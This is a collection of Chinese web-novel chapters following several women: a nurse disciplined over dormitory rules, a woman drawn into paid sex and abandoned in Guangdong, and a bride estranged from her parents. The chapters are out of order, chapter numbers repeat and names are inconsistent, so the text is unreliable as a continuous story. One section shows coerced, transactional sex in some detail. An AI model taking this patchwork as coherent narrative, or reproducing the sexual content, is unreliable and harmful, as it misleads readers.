“如果医院要开除我,咋办?”沈莎莎急忙问。
“不要考虑太多,我俩也许想的太多了,还是明天看看会上怎么说吧。”
第二天一上班,沈莎莎就被叫去开会。
办公室里有工会主席、保卫科长、总务科长、办公室主任、科室主任等主要负责人。
看到这些人,沈莎莎知道今天事关重大。
先是保卫科长通报沈莎莎宿舍容留她人住宿情况,办公室主任宣读宿舍管理制度,总务科补充管理制度,工会主席总结发言。
医院这几天的事大家都知道了,那就是咱有极个别的员工利用医院给员工分的宿舍留宿外人,从而导刑事案件发生,给医院声誉造成极其恶劣的影响。在员工中引起慌恐和不安。
医院领导认为,进一步认真落实贯彻执行医院住宿管理制度,加大管理力度,确保给员工创造出一个省心、放心、
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舒心的住宿环境,能够使员工全身心的投入到工作中去。希望全院员工引以为戒。
经会议研究决定
1.对员工宿舍住宿人员进行认真的摸底调查,对不符合要求人员一律清退;
2.医院收回沈莎莎同志的现有住房,安排其到四人间单身宿舍住宿;
3.沈莎莎同志以书面形式写清事件的具体情况;
4.沈莎莎同志要吸取教训,以书面形式做出检讨;
5.沈莎莎违反医院职工宿舍管理制度,罚款50元。
开了一早上的会,无非就是这些事。
听了这些,沈莎莎的心终于放回肚子里了,她窃笑,自己关心的饭碗没提及,宿舍收回,我正不想住了,至于搬到哪个宿舍她根本就不关心,她和吴之玄昨晚就住在他们租的单元房里。医院里的住宿沈莎莎连考虑都不考虑了。
当工会主席问她还有什么不明白的地方时,她竟然大声说:“我完全同意医院的决定。”
沈莎莎通过姐姐的事也慢慢的想开了,她是她,我是我,只不过是走在各自人生轨迹上的有血缘人罢了,彼此无法左右别人,唯一能做到的就是先保自己的生存。毕竟有一份固定的工作总比写检讨交罚款的好处要强多得。
沈莎莎开完会的下午在街上找了一辆人力三轮车,硬着头皮进了宿舍把自己的东西搬到了隔壁的十六局家属院他们租住的单元房里。
吴之玄下班回来看到正在整理房子的沈莎莎,就心疼地帮起忙来。
“你说咱在这里生孩子了医院也不知道吧?”沈莎莎突然问到吴之玄这个问题。
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第7章 无耻之徒提要求,难以满足惹祸端
郭春莎对李庆生进入宿舍强吻自己深感生气,仅仅一面之交就直接上手一个女人,这李庆生也太不自重了。
郭春莎从李庆生的怀里挣脱出来,背靠在立柜前,希望不要受到伤害。
李庆生笑了笑:“我说郭妙妙,就咱俩个人,别在这里给我装清纯了,也别说什么你男人打我的事。你就说咱俩睡一次多钱,别用什么道德乱扣帽子。”
郭郭春莎一惊,原来他是有目的的捎自己的,心怀不轨。
“我不是你想的那种人。我还是给你倒水喝吧。”郭春莎走到电壶跟前拿起电壶:“没水了,我去打水。”
郭春莎说着就要往外走,李庆生堵在门口:“我不渴,为你出力我很幸福,”说着从她的手上接过电壶放在旁边。
李庆生拉着郭春莎的右手抚摸着:“从我见到你的第一眼起就被你的美貌打动,所以今天我想和你行人间好事,希望你别介意。”
说着就把脸凑近郭春莎想亲她,被郭春莎低头躲过。
“郭妙妙,我不强求你,话说透了,男女就那回事,他们给你多少我给多少,一分不少。”看着从自己手里抽手的郭春莎,李庆生跟在她身后。
当他说出这句话时,郭春莎大吃一惊,她回过头来急忙问:“他们是谁?”
李庆生笑了起来:“你承认了吧,我不说,你知道的。”
郭春莎心里明白,自从借宿到妹妹这里,是带人来过这里,李庆生不应该知道吧,况且连妹妹都不知道,他肯定在吓唬自己。
“你别在这胡说,哪有的事。”她不敢正视李庆生。
李庆生嗅到了她的心虚,一把把她揽入怀中:“我胡说不胡说不要紧,要紧的是每个男人从这里走后,你都会把避孕套用卫生纸包起来扔在垃圾台那里,这咋解释?”
郭春莎没想到自己的行踪竟被他掌握得一清二楚:“说说你的条件吧。”
听到郭春莎服软的口气,李庆生故意用手在她的胸部摸了一下:“我一不举报,二不声张,只有一个要求,和你睡一次,就这么简单。”
郭春莎长出一口气,平静地说:“这事我会有付出的,太费人,必须先交钱。”
李庆生立即松开郭春莎,从口袋里掏出一把钱:“我不会让你白辛苦的,是你的价值体现。说吧,多少成交?”
看着李庆生手里的钞票,郭春莎往床边一坐故意说:“不戴套不做,戴套二百,做吗?”
郭春莎本身就把价格说得很离谱,没想到李庆生竟满口答应,连数都没数就把钱塞到她手中:“做,做,做。”声音显得有些变调。
郭春莎接过钱对他说,在那盆里把那玩意先洗一下。
说完便把李庆生塞到她手里的现金数了一下:“多了十块,全当给我的伙食费了,收了。”
郭春莎把钱装进自己那个大红色的手包里,顺便从里面取出了一个带包装的避孕套扔在床头柜上。
李庆生迫不及待的洗了洗,郭春莎给他递了一张纸过去。
李庆生没想到幸福来的如此突然,以至于有点承接不住。
他提起裤子走向坐在床边的郭春莎。
郭春莎拍了拍他:“哥,你先别急,坐在这等着,让我洗一下。”
“有啥好洗的,我又不是外国人。”李庆生很不耐烦。
郭春莎从床底下取了个塑料盆子,从水桶里舀了几勺水,又从电壶里倒出一些热水,把裤子脱到膝盖下,背对着李庆生洗了起来。
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> 李庆生早已鼻孔充血,欲火焚身,再看到她那白皙的皮肤,早已按耐不住心中的渴望,走到郭春莎身后要搂抱她。
郭春莎告诉他:“大白天的你不关门就办事,不怕被人发现呀?”
李庆生连忙走到门口把门拴插上,又用手拉了拉确认开不了了就走向郭春莎。
郭春莎用手指了指窗帘,李庆生心领神会地拉上了窗帘。
宿舍里瞬间变得暗了下来,伴随着郭春莎的轻声细语,暧昧的的氛围陡然巨升。
李庆生早已渴望的目的即将实现,以前的付出终于有了回报,他尽情享受这人间好事,希望能够经久不衰。
郭春莎的千媚百态,瞬间的触电快感突然凝固在舒服和遗憾之间。
郭郭春莎拍了拍趴在自己身上大口喘吸的李庆生:“好了好了。”说着一侧身李庆生躺在了床上,闭着眼睛大口喘着气,沉醉在刚才的情景中。
郭春莎把交易工具用卫生纸包起来,蹲下去洗完后穿上内衣内裤,坐在躺在床上的李庆生身边,她用手抚摸着李庆生:“你是不是喜欢我?”
李庆生一骨碌爬起来:“不喜欢你能把你追到这里?”
郭春莎拍了一下他的脸:“真会说话,告诉我,你咋知道我扔套子的?”
李庆生狡黠的说::“就是因为喜欢,所以才一直留意。”
“你公安有认识的人吗”?郭春莎突转话题。
“你是指哪方面的?”李庆生不明就里。
“哎呀,不说了,既然咱俩认识了,闲了再说这个事,咱赶紧穿衣服走吧。”郭春莎说着就去拿自己的衣服。
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第7章 从天堂到地狱,误入发廊为生存
郭春莎正绻缩在楼梯角落,双胞胎的一个小男孩正要和妈妈进房间,突然从楼梯跑下来拉起郭春莎要进房间。
郭春莎不知所措。
小男孩拽着郭春莎要上楼梯。
怀抱婴儿的女人站在门口说:“进来吧。”
郭春莎被小男孩拉进了房间里。
怀抱婴儿的女人直接拉着郭春莎进了套间,她关上套间的门后,直接打了郭春莎两个耳光:“告诉你,外面的男人是我的老公,我们是有领过证的人,我在孩子面前给你留着面子,你现在赶快收拾你的行李从这里走出去,不要让我把你赶出去。”
说完怀抱婴儿的女人就出去了。
郭春莎摸着烧痛的脸,心里非常难受,我这是为什么呀?
女人让自己走,在这人生地不熟的地方我该去哪儿?原来以为有了终生的依靠,却没有想到他竟是有三个孩子的父亲,郭春莎不知道何去何从?
在县城西关派出所的审讯室,郭春莎正在平静的说着自己的经历。
在广东我被古董老板的妻子打了两个耳光,呆呆的在房间里待了好长时间。我是多么希望古董老板能来到我身边给我说上一句安慰的话。
但是我想的太幼稚了,他根本就没有进来。
我听到他们在外面的客厅商量着每个月给妻子和孩子增加抚养费的事,最让我揪心的是我听到古董老板和孩子们的嬉闹声,孩子一个劲的爸爸爸爸喊个不停。
我最终还是被要了钥匙赶出了房间。
当我走到客厅时,想得到古董老板的帮助,但我错了,他抱着孩子背对着我一声不吭。
我大声问他:“你能给我个理由吗?你能跟我说句话吗?”
他根本就没有理我的话。
两个孩子瞪着那大眼睛看着提着行李的我:“姐姐是不是去坐飞机呀?”
我心里一阵酸楚。
孩子妈妈说:“这是我们的家,姐姐也要回她的家去。”
孩子舅舅把我往外推了出来。
“嘭”的一声,门关了。
我被赶在了门外。
那时真是叫天天应,叫地地不灵。
也许是自己太年轻了,不懂得什么是爱情,近一个礼拜的时间,我都是白天去那小区,晚上住招待所,专门等候古董老板的出现。
从来没有见过任何人再去那房间,当我敲开对面的门询问后才知道,房子已经退了,正在招租。
年少离家只为玩
尚不知人间险恶
郭春莎摇了摇头,仿佛又在回忆她那艰难的岁月。
她停了一会儿要了一杯水,一饮而尽,放下杯子她又开始说了起来。
看起来痴心等待只能换来痴心妄想。彻底是找不到古董老板的人了。
现在想想真是傻,到现在都不知道老板姓什么,只知道叫他阿平,安徽人,其它的信息啥都没有。
我漫无目的的背着我的牛仔背包走在那并不规则的街上,不知谁家的录音机里正在播放着朱小琳的《那一年我十七岁》,真是我的此时此景,有两句歌词太现实了,站在门口犹豫大半天,想起妈妈对我说别忘了回家的路。
当天晚上的住宿自己还挺豪气住了一个单间。
第二天一大早在招待所老板的帮助下,一位摩的大叔把我送到了火车站。
到了火车站我才发现我就是个废物,不会买车票,不知道我回老家在哪儿下?
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自己看到那人山人海进出的人群,转悠了半天突然决定,不回去了,就待在这里,总比乡下好。
我听到了老家的话,几个女人从候车室里出来了,边走边说,我鼓足勇气用方言喊了声:“姐,姐,姐,你几个等一下我。”
她几个被我的方言而吸引,疑惑的看着我:“你在叫我们?”
我点了点头。
“你是陕西啥地方的?”一个人问我。
我说了县城名字。
她们竟大叫起来:“又是一个乡当。”
她们一行四个人是来这里找工作的,当了解到我也是找工作时,便和她们奔波在找工作的路上。
很幸运被一家电熨烫机厂全部招收。
新办的厂子在公路旁边包吃包住工资计件。
简单的培训后我们就正式上班。组装一个最快十五分钟,工价0.5元 ,不达标拆一个至于二十分钟,所以我们都是小心翼翼地生产,可总是有不合格产品,总要返工,辛辛苦苦一个月拿不了几个钱。
在广东厂子上班,各个派系的明争暗斗对自己的收入是有一定影响的。
我所在的厂子大部分是广西人,我们北方的人还是要受制于他们的。
不知从哪一天起 ,每天上班时总在厂门口看到一漂亮女人抱着婴儿,不是哭泣就是乞讨,甚是可怜。
在车间才知道她原来是这家厂子老板的秘书,两个人日久生情,难分难舍,女的为扶正上位,执拗的将孩子生了出来。
没想到老板不但拒认母子,还不再在老厂露面,而是来新厂管理,也不知那女的是咋样找到这里来的。
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第8章 亲家因房初见面,父母后悔没上学
晓雅趁着农闲时间搬家前把老家的公公婆婆接到市里来,让老俩口看看自己的新房。
晓雅的想法很简单,老两口一辈子都不容易,现在儿子有个落脚的地方了,总算有了属于自己的家了。让老俩口看到实实在在的房子放心,不再为儿子操心。
进了新房,晓雅从鞋柜中正往出取脱鞋,公公站在门口,婆婆却提着从老家带来的一捆葱,直接走到飘窗前,把葱一放:“哎,这葱把人能累死。”说完就把双手在自己的衣服上蹭了几下。
换了拖鞋的公公问把带来的羊肉放在哪里,晓雅接过羊肉放进了厨房。
公公提醒婆婆要换拖鞋,婆婆极不情愿的走向鞋柜,小声嘟囔:“真麻烦,进门出门都换鞋,把时间整天浪费到这上面了。”
公公看了婆婆一眼没吭声。晓雅招呼公公婆婆坐下来歇息一下,自己去烧水。
婆婆看到晓雅正从桶装水里往电热壶口注水,就说:“咋不用水管里的水?”
“这是过滤过的,比水管里的水干净。”晓雅边接边说。
“干净是用钱干净哩。”婆婆的这句话让晓雅听得极不舒服。
公公在房间里到处打量着新装修的房子,一个劲的说:“好,好,好。”
坐在沙发上的婆婆看了一下客厅:“这么大的厅子能抵建红两个,太大了也不好,你看这空荡荡的。”
公公问总面积是多少,晓雅说出120平米时,婆婆又插话了“建红的好像比这小多了。”
当公公夸奖晓雅把房间收拾的特别干净时,婆婆又说:“我如果住在这里不会打扫得像雅雅这么干净。”
公公瞪了婆婆一眼:“你少说两句嫌咋了?喝水!”
婆婆强势的说:“就说个我扫的不干净么,就不让人说话了,你事多很。”
公公没有理会婆婆,他直接转到卧室里去了。
正在倒水的晓雅看到地板上婆婆踩过的脚印,心里想婆婆咋是这么不讲究的一个人。
房间的地面我是拖了无数次才弄干净的,结果婆婆一脚进来,满客厅的脚印,也太不尊重别人的劳动成果了。
婆婆的话语总给晓雅一种听起来不舒服的感觉。
午饭后,晓雅和老公陪老两口到了女儿建红家。
建红见到父母,阴阳怪气地说:“你俩不是看雅雅买的新房了么,怎么到我这破屋里来了?”
晓雅听得极不自在。
公公说:“手心手背都是肉,既然来了把你们都见见。”
晓雅自从和老公结婚到现在,真正的并没有和公公婆婆在一起生活,而现在把他们接到家中才知道大女儿建红和婆婆一样的刁钻和强势。
婆婆在儿子家住得自在舒心、晓雅在家中觉得憋屈难受。
搬家的那天,安排在一家酒店吃饭。晓雅的爸妈也来了,第一次见面的两亲家终于坐在了一起。亲朋一共坐了四桌,谈笑风生,一片祥和,好不热闹。
晓雅的父母和公公婆婆坐在一桌,晓雅两口忙着招呼客人却不知第一次见面的两亲家又因买房的话题闹得心情不畅。
吃饭过程中,婆婆说:“在农村打庄子盖房就算大事,也是咱们想的心愿,现在娃在城里买了房,也算是大事,说明娃有能力有本事,你看看农村在城里买房的能有几个人呢?”
晓雅父亲说:“现在城里买房的几乎都是贷款买,每个月的
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房贷是个不小的压力,所以他俩负担也够重的,真正接济不上,咱当老的该帮扶还是要帮扶的。”
亲家公点了点头:“你说的对,光个首付就够他俩受的了,真正到时经济不行咱肯定是要想办法的。”
婆婆却拉下脸:“你俩也对娃的能力太小看了,能交得起首付肯定也能交得起月供。都操得闲心。”
亲家公笑着说:“对,对,对,能交起首付就能交得起月供。”拿起筷子吃了起来。
婆婆似乎又在宣耀:“你说许多农村的在城里买,你知道那是多少个面积吗?”
公公瞪了一眼婆婆,晓雅父亲并没有看到,摇了摇头:“这我还真是不知道。”
晓雅婆婆得意地说:“你女婿的要比那些人的大一半哩。噢,对了,你看走到那院里就像进了花园,漂亮死了。要不说钱是个好东西。”
晓雅父亲说:“那叫绿化搞的好,环境好,钱更好。”
晓雅的母亲拽了拽丈夫的衣服小声说;“你少说话。”
晓雅母亲心里比任何人都清楚,女婿现在是个啥具体状况。
最了解晓雅经济状况仔还是晓雅的母亲,女儿是父母的心头肉,这几年她暗地里对晓雅的贴补真不少,只有这样才能弥补他老俩口对晓雅的亏欠。
晓雅和老公的婚姻,老俩口一直持反对态度,一是家境不好,二是没有稳定工作,三是相距太远。
晓雅父母和亲家今天的见面也是两个孩子结婚二十多年来的第一次。
本身对女婿家晓雅父母就颇有微词,今天第一次见到亲家没想到晓雅的婆婆是如此的高调和虚伪。
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第8章 少女难明父母心,执意要嫁追已郎
晓雅父亲的话让晓雅觉得吃惊,她不知道父亲的一片苦心,她只是想让父母对这个未来的姑爷得到认可,今天突然把他领回家也是希望敲下这门亲事。
在一旁的母亲看出晓雅的疑惑,就说:“婚姻是人生一辈子的大事,现在会计家并没有给话,你稀里糊涂地领个男娃到咱家会让人笑话的,一个女娃家要把名声看重些。”
晓雅在强调会计儿子没有音信的事,父亲却说在对方没有给话之前你还是会计儿子的未来媳妇,你今天带他到咱家等于给人家男方弄难堪,也让男方觉着丢脸。
晓雅不明白自己谈的男朋友为什么会给人会计家丢脸?
父母认为在农村,男女双方一旦订婚,女方如果不跟男方结婚的话,别人会以为男方的孩子肯定是有什么问题的,从而影响再寻媳妇的声誉。
年少的晓雅不知订婚后还有如此多的讲究。
晓雅父母考虑的不只是会计家的儿子,更担心的是一旦晓雅和会计儿子成不了,订婚的礼金他是无论如何无法给男方如数退还的,前段时间他和人合伙贩苹果赔了不少钱。
现在晓雅要重新谈男朋友,咋样都是没法给会计交待的。
一切的纠结都在于晓雅领回家的男孩身上。
男孩因喝大而沉睡不醒,今天的回程只能推后了。
晓雅父母想尽快让女儿跟男孩赶紧离开村子,以免更多的人知道男孩的丑态,这下倒好,走不了还得在自家住一晚上。
晚上父母亲又和晓雅说了许许多多的关于村里退婚闹得打架斗殴的事件,旨在提醒晓雅在婚姻问题上的谨慎和认真。
父亲还是坚持自己的观点,既是和会计的儿子成不了,要重新找男朋友,这个今天来家的男孩根本不要考虑,把他带到家本身就是丢沈家的脸,对自身的辱贱。真正要成亲让他家父母来咱家提亲,这必须做到,否则不要进家门,断绝父女关系。
晓雅其实不敢给父母说实话,因为自己已身怀有孕两个多月了,这次回来想把事态的严重性讲明,但看到父亲的如此绝情,她更没有勇气把这丢人的事说给父母。
而做为心细的母亲,还是觉察到了女儿的难言之隐。
母女晚上睡在一起,母亲的一番话就让晓雅泪流满面,哭泣不止。
母亲说:“你爸不愿意也有他的道理,都是在为你以后的生活考虑,和人家结婚后面对的不是你们现在的一人吃饱全家不饿,而是柴米油盐酱醋茶这些琐碎而又重复的平淡日子。这个娃家里穷,自己也没个稳定的工作,以后的生活很难保障,他总不能开一辈子的出租车呀,你都没想想,你以后到了我们这岁数哪里来的生活费哩?”
母亲坐起来仔细的看着晓雅的脸小声说:“你也不要埋怨你爸说的那些气话,女娃家把男娃领回家这事本身就把自己的身段拉低了,自己作贱自己,让父母无法接受你这幼稚的行为。娃呀,要学会爱惜自己,成与不成千万别给自己身体造成啥伤害,那可是牵扯一辈子的事,但愿你明白这一点。”
听了这话,晓雅的眼泪流了下来,她心里明白母亲这句话的意思,可眼下自己的身体已受到伤害,唯独不敢告诉父母。她感到委屈难受,没人理解自己的苦衷。
父亲的固执,母亲叮咛,晓雅的隐藏,男孩的行为并没有达到晓雅预期的效果。
母亲偷偷告诉晓
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雅,真正等不到会计儿子的信息,你如果真喜欢这个男孩就让他家来人提亲,也算是对你父亲一个交待。
他俩走向汽车站的时候,没有人送行。
年少晓雅没有听从父母的话,完全意识不到父母的苦口良心。
在路上她只是简单的问男朋友,如果让他父母到自己家去提亲,他父母会去吗?
男朋友说结婚是人生一件大事,若提亲父母肯定会去的,抽个时间回老家给家里说明情况。
当她和男朋友第一次赶往距城百公里之外的婆家时,那情景真可谓费尽周折,
早上6点多起床赶到长途汽车站,买了票8点出发。刚开始还可以,两个小时以后进入山路,晓雅觉得自己从小长这么大就没见过这么崎岖难走的绕山路。
高一下,低一下,左一拐,右一转,车后尘土飞扬,沙尘扑鼻而来,全是土味,呛得人难受。
晓雅只觉得心里一阵恶心,晕车的滋味让她深感不适和难受。
她把头伸出窗外,一阵狂吐。
晓雅吐后,觉得胃疼得要命,男朋友把她搂在怀里,不停的在安慰着,坚持住,马上就到了。
四个多小时的车程让在车里的晓雅心急如焚,咋还没到?咋还没到?早知这样,打死都不会来他老家。
终于到县汽车站了,晓雅和男朋友在县车站要了些水,休息了好长时间,看着晓雅蜡黄的脸,男朋友害怕了,要不今天就不回了,找个招待所住一晚,明天再走。
晓雅问还需多长时间?
男朋友说两个多小时。
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第8章 年少无知为爱情,随口一句定终生
晓雅躺在舒适的被窝里,正准备起床,她听到院子里男朋友父母的小声对话。
“你胡说啥呢?怀啥孕哩?”母亲的声音在问。
“哎呀,你小声点,三强昨晚号脉号出来的。”父亲批评着母亲:“小心她起来听见了,进屋说。”
晓雅心头一紧,自己怀孕竟被把脉号出?这是什么时候的事,自己咋一点都不知道。这到底是什么情况?
晓雅一头雾水?
头还是稍微有点疼,但比昨天好多了。只是一动弹,肚子不停地呱呱乱叫。
晓雅下了炕,揭起窑洞的门帘子,发白的太阳照得人刺眼。
“雅雅起来了?”男朋友母亲从另一窑门出来了:“现在感觉啥都好吗?”
“姨,好着哩。”晓雅说着就走向大门左侧的厕所。
从厕所出来,她看见男朋友父亲正在打扫院子的卫生,她急忙上前去要帮忙。
男朋友父亲说年轻人做不来的,快去洗脸,准备吃饭。
晓雅看见院子的石礅上放着盛满水的脸盆,旁边搭着条粉红色的毛巾,地上的香皂盒上放着一块肥皂。
儿子被她妈叫了起来,洗漱完了等妹妹回家吃饭。
妹妹放学回家了,今天的饭桌上沈晓雅还是坐上了。非常的拘束和不安。
儿子不停地给晓雅夹菜,母亲端来两个荷包蛋:“鸡蛋营养可大了,专门给你做的,人是铁,饭是钢,一顿不吃饿得慌,都一晚上没吃东西了,快吃。”
母亲把荷包蛋碗放在晓雅面前。
晓雅不好意思一个人吃,她谦让着给大家,儿子说:“你先吃,吃不了的我吃。”
妹妹说:“哥,能不能把姐姐没吃完的让我吃?”
晓雅急忙从碗中夹出一个放到妹妹碗里:“你趁热吃。”妹妹笑了起来。
在一旁的父亲开口了:“雅雅,我想问问咱那边如果上门提亲我这边一般是让谁去?有什么讲究没?”
一句话把晓雅问住了,父亲当时说的让男朋友父母亲自上门提亲,虽说是一句气话,但现在真正的面对面说这问题时,她真不知道咋回答,父母都没提及这些事,她也从来没问过。
晓雅就随口说:“家里说还是按咱这边的讲究吧。”说完这句话,她心里感到一阵害怕,她知道父母肯定是不会接受这边父母上门提亲的。
男朋友父亲认真的说:“咱这边一般是他伯和媒人过去提亲,就是不知你那边讲究要提啥礼物?我这边是四样礼。”
男朋友的父亲说到这里突然停了下来,他想让晓雅说出她们那里的讲究。
晓雅也正专心地听着,她也想知道那四样礼是什么,结果他突然停了下来。
晓雅根本就不知道这些讲究,她心里一直在打鼓,眼前的这些人如果真的要到自己父母家里去提亲,我该如何给自己的父母做通工作。
晓雅没有吭声,却佯装很认真的听着。
看着晓雅认真的样子,男朋友父亲接着说:“四样礼是一身棉衣,一身单衣,两瓶酒,两份点心,这都不重要,重要的是去说事的人。”
晓雅心想,订个婚还有这么多的讲究。现在这边在认真对待这事,而父母那边根本没有提及这些,因为他们从未想过我直接来到男方家了。她担心的是自己的父母不接受男方的提亲。
想到这里,晓雅说:“家里的意思我俩只要同意,提亲不提亲的过程就算了,路又远,车也不方便,到结婚时
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双方父母见个面就行了。”
晓雅的这些话完全是自己的想法,包括男朋友都不知道。她说这些目的就是尽量不要让男方去自己的家,免得难堪。
晓雅不知道的是自己的简单认为竟成了两个亲家二十年后才见面的窘境。
男朋友的父母望着晓雅,让他们吃惊的是,儿女的人生大事,晓雅的父母却如此的轻描淡写,大而化之。
男朋友的父母交换了一下眼色,父亲说:“早知道你父母这样好的态度,我们更是要去你家。毕竟婚姻是你俩的终身大事,我们还是要去你家的,哪怕把提亲订婚和结婚的日子放在一次确定下来,礼数还是要走到的。”
晓雅不知如何回答。
男朋友的母亲说:“今天先不给准信,让雅雅回去再和家里商量一下,具体咋样能简单省事就咋样来。”
“对,对,让娃回去商量商量,毕竟娃年轻,不懂的多,回去问问家里。”男朋友的父亲附和着:“来,吃饭,吃饭。”
晓雅突然感到无比轻松。她从内心也不希望男朋友的父母去他家。父母的态度非常明确,并不同意这桩婚事。自己来这里完全是奔着和男朋友结婚的目的而来,现在肚子里的孩子是不允许男女双方有更长的接触时间。
晓雅所说的那些话完全是自己心理的真实体现。
在返回市里的路上,晓雅一直纠结着尽量不让男朋友父母到自己家去,按照父亲的脾性,一旦去了肯定是会以各种借口阻止这桩婚事。
不谙人世的晓雅根本就再没有回到自己的老家和父母沟通婚姻之事,这也成为她随着年龄的增长而明白祸从口出的结果。
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第8章 照顾孩子丢工作,处恋爱人找上门
面对突如其来的支书儿子,晓雅父亲心里一阵紧张,虽然不明白他今天来家里的目的,至少他明白,支书儿子以后还有可能是自己的未来女婿。
这只是自己的一种让为而已,晓雅上次带那个男孩到自己的家里来的事,他最担心的是支书儿子知道,你自家的脸就丢光了。
还好,晓雅父亲把信封交给支书儿子时,他能打听晓雅的地址说明自己的担心完全是多余的。
看着支书儿子文邹邹的吃饭的样子,想到那个男孩喝的沉睡的样子,晓雅父亲愈来愈喜欢这个懂礼貌会说话的年轻人。
从晓雅父亲的角度考虑,他还是希望能借支书儿子的寻找,缓和他和女儿之间的隔阂,以达到女儿和支书儿子的结婚。
想到这,晓雅父亲就问支书儿子:“你能保证你在市里找到她?”
“只要你提供的地址对,应该没问题。”支书儿子很自信。
看到自信满满的年轻人,晓雅父亲放心的拍了拍他的肩膀:“我相信你。”
年轻人看了他一眼,点了点头。
晓雅父亲忽然想起来一件事:“你去这两年多的时间,为什么和家里断联系?以至于你爸还来我这里问你的地址?”
支书儿子吃完最后一口饭,他停了一下:“叔,我现在回来了,有些事情按规定是不能告诉你的,包括我家人,反正就是不方便也不能说,希望你能理解。”
“那我就不问了,这些你叔还是明白的。该知道的知道,不该知道的绝不打听。”
“还是我叔有格局。”年轻人给晓雅父亲竖着大拇指。
晓雅因孩子的出生而请假,婆婆半个月后才从老家赶来照顾。
看到孙子,婆婆高兴的合不拢嘴:“顶门杠子,雅雅真会生,到时候再要个弟弟。”
晓雅一阵高兴,在农村媳妇能生个男孩子就说是能行媳妇,也不知道是啥为衡量标准。
婆婆来了后,让晓雅不解的是婆婆竟然不太会做饭,简单的家常便饭还能凑合,一旦煮个肉或者炖个鸡什么的就不知如何下手。
这不由得晓雅想起第一次到老公家,婆婆从外面端回来的饼子,说是让邻居七婶做的这件事。
婆婆一个妇道人家问什么竟不太会做饭,更不太会照顾婴儿,晓雅咋都想不通。
晓雅觉得婆婆在经管孩子方面好像还是有那么点不熟练,最让晓雅疑惑的是婆婆老是有一种害怕的心理在经管着孩子。
婆婆做的饭在晓雅看来,完全是在完成任务,简单的再简单不过,以至于稍微繁琐一点的饭就满脸的不高兴。像切个土豆丝或者萝卜丝之类的全部都是晓雅去干。
婆婆来了后,晓雅觉得自己好像很谨慎拘束,放不开。而婆婆也感觉老不自在。
虽然两个人口上不说,但彼此的行为都在告诉对方的不适应。
十几平米的单间挤满了大小四口人。看着心不在焉的婆婆,想到各种的不方便,晓雅只能委屈的将就着。
待了一个礼拜多,婆婆老在表扬晓雅的能干和中用,她看着很放心。老在强调说自己的无能,不会照顾在产期的儿媳妇,帮不上忙还添倒忙,希望能回老家去。
晓雅心想反正婆婆在和不在似乎没多大区别,也默许了婆婆回老家去。
两个月后,厂里传来晓雅被除名的消息。
这可是晓雅万万没想到的事情啊。
晓雅
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抱着孩子找到纺织厂的人事部门,得到的答复是临时工产假超过一个月就按自动离职对待,厂里的规定谁也没办法。
虽然晓雅工作认真踏实,还是班组的先进个人,但临时工的身份决定了她生完孩子就失业的窘境。
晓雅一横心,算了,暂时不用上班了,还是先把孩子带着。而老公认为孩子的突然出生首先给自己带来的就是钱的紧张不够花,想着让晓雅接娘家妈来这里带孩子。
晓雅根本不同意,她不想和娘家来往,父亲的断绝父女关系的话她一直记在心里。
生气的老公冲她大喊:“你妈不带,我妈不会 ,你不上班,我们都喝西北风?”
晓雅没想到老公竟然说出这种没有担当的话来,自己为和你结婚和娘家断绝了来往,给公公婆婆撒谎,陪你去老家,死心塌地的和你搬到一块住,不要彩礼,不办宴席,便宜让你占完了。
现在孩子给你生了,自己工作没了,你却还要我去挣钱,,太不是男人了。
想到这些,听了老公的话,晓雅忍不住伤心的哭了起来,我这是为什么?
母亲的话又萦绕在她的耳旁:“他靠什么能给你生活费?”
自己上班期间,还不知道生个孩子这么费钱,到底是自己没有正确的人生规划还是这个孩子来的太突然,以至于措手不及。
我也想上班挣钱,让婆婆帮自己带孩子,可婆婆通过前面的来到足以证明她的不合适,而妈妈的邀请我决不同意。
我还是自己想办法。
晓雅的观察和感觉是正确的,真正要让婆婆带孩子,她是根本无法胜任的。
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第8章 支书儿子突出现,平静生活起波澜
沈晓雅做梦都没有想到,邻村支书的儿子竟然找到了自己。
瞬间到惊愕,偶然的相遇,真成了彼此陌生的熟悉人。
当晓雅听到支书儿子的那句我心爱的人时,牵手的甜蜜,分别的泪水,相思的痛苦,祈盼的渴望,都被这句话感染得如哽在喉,低头垂泪,无言以对。
支书儿子很想用手去拍拍晓雅的肩膀安慰安慰,可看到那不明就里左顾右盼的小家伙时,他还是没有勇气伸出手。
支书儿子递过几张纸巾,刚到晓雅面前就被小家伙一把抓去往嘴里塞。
晓雅赶紧从孩子手中夺下纸,擦干眼泪:“我要走了。”
说着顺便站起身来要往外走。
支书儿子马上也起身,问了一句:“如果有机会你还会选择我吗?”
听到这话,晓雅抱着孩子愣在那里 ,半天没动,眼睛不停的上下转动着。
晓雅退了回去,坐在椅子上,想了半天才说:“你在哪住?”
支书儿子说:“纺织厂对面的招待所。”
晓雅接过他的话:“是群英招待所?”
支书儿子点了点头:“你还是对你的单位周边很熟悉,我在一楼六号。”
晓雅记住了支书儿子的房间号,转身离开时说:“明天这个时间段就待在群英。好了,我走了”
支书儿子不相信自己的耳朵,呆呆的待在桌前。
心情烦躁的晓雅抱着孩子也不知道是怎样离开餐馆的。
晓雅心里很不是滋味,支书儿子的试探性问话,等于把晓雅架到火上在烤,自己和老公刚刚开始风平浪静的日子,在等了你无数个日日夜夜的失望后,原来打算就这么平平淡淡的过一生的时候,没想到你来到我身边,太突然了,太惊讶了,太出乎意料了。
我该不该放弃现有的事实婚姻去和书记儿子重新开始新的婚姻?
自己这种想法是不是对家庭太不负责任了?脚踩两只船自己想要得到什么?老公是自己真心喜欢的人吗?
张国庆这天交完车下班后,和朋友到纺织厂去约朋友的恋人上街看电影。
在纺织厂门口等了一会儿,朋友一眼就看到走在下班人群中的高洁。
朋友兴奋的朝高洁招了招手,高洁拉起身边的晓雅跑了过来。
张国庆看到何晓雅先是一惊,眼睛直勾勾的看着眼前这个高挑个头、皮肤白嫩的女孩子。心里想,这才是我见过的真正的美若天仙、仙女下凡。
晓雅也没在意张国庆的眼神,她和高洁的男朋友打着招呼。
“走,咱们一起去看电影,完了再逛街。”高洁对晓雅说。
晓雅犹豫了一下:“你们去吧 我就不去了。”
高洁说:“在宿舍也没事,就当陪我了,我请你吃凉皮。”
在一旁高洁的男朋友说:“没事就去吧,窝在宿舍又没有电视,不如去看周润发的电影,很好看的,起了个外国人的名字,阿郎的故事,我看过,很有意思,走吧。”
高洁摇了摇晓雅的胳膊:“哎呀,别磨叽了,走吧,大个头。”
晓雅看了一眼高洁:“少胡说,那我就和你们去吧。不过今后千万别叫我外号,小心挨揍。”
说完笑着冲高洁握了握拳头,高洁笑着也迎合着竖着大拇指。
